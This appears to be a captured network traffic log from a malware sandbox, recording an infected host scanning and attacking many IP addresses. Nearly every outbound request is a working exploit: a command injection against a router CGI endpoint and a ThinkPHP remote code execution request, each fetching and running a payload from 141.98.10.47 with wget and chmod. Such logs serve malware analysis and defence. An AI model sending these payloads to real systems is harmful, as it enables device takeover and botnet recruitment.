Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:02.168970108 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:03.615761042 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:03.896938086 CET	305	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:03 GMT Server: Apache Content-Length: 127 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 27 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 27 3a 27 2b 6c 6f 63 61 74 69 6f 6e 2e 70 6f 72 74 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 20 2d 20 74 72 79 69 6e 67 20 74 6f 20 72 65 64 69 72 65 63 74 3c 2f 68 31 3e Data Ascii: <script>document.location.href='https://'+location.hostname+':'+location.port';</script><h1>Error 400 - trying to redirect</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	35162	94.120.158.76	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:02.177097082 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	44926	94.121.217.180	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:02.745418072 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	46720	94.122.61.59	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:03.755135059 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	58218	94.131.96.97	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:04.333275080 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	57558	31.200.24.189	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:04.354666948 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	50984	95.216.74.202	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:05.192743063 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:05.457907915 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 26 Dec 2023 20:23:05 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	41588	95.86.74.218	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:05.216321945 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	37124	95.100.131.37	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:05.222013950 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:05.519973040 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:05 GMT Date: Tue, 26 Dec 2023 20:23:05 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 65 33 30 37 62 35 63 26 23 34 36 3b 31 37 30 33 36 32 32 31 38 35 26 23 34 36 3b 63 38 32 37 39 62 30 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.ee307b5c.1703622185.c8279b0f</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	44122	95.86.69.193	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:05.343236923 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	53664	95.217.240.3	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:06.184655905 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:06.449275970 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	46058	95.55.197.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:07.236223936 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:07.509563923 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:23:07 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	43168	95.111.230.160	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:07.919409990 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	39938	94.187.108.59	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:07.943768978 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	59790	95.48.51.179	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:07.945322990 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	56194	62.29.119.166	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:07.950160980 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	36996	94.122.18.176	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:07.967530012 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	35174	112.197.254.30	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:08.909498930 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:09.309890032 CET	339	IN	HTTP/1.0 400 Bad Request Date: Wed, 27 Dec 2023 03:23:09 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	53744	88.221.166.151	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:09.141058922 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:09.388186932 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:09 GMT Date: Tue, 26 Dec 2023 20:23:09 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 34 62 31 31 37 30 32 26 23 34 36 3b 31 37 30 33 36 32 32 31 38 39 26 23 34 36 3b 32 34 36 37 38 31 35 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.14b11702.1703622189.24678152</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	43314	94.123.56.91	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:12.578623056 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	41632	88.219.41.1	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:12.658329964 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:13.406342983 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:13.663089991 CET	110	IN	HTTP/1.0 404 Content-Type: text/html Data Raw: 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 2f 31 2e 30 20 34 30 34 20 d5 d2 b2 bb b5 bd b6 d4 cf f3 0a 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e Data Ascii: <body><h1>HTTP/1.0 404 </h1></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	51350	88.99.27.141	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:12.663424969 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:12.913351059 CET	505	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 311 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 61 30 31 3a 34 66 38 3a 31 30 61 3a 33 65 38 3a 3a 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at 2a01:4f8:10a:3e8::2 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	60110	88.225.243.133	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:12.717032909 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

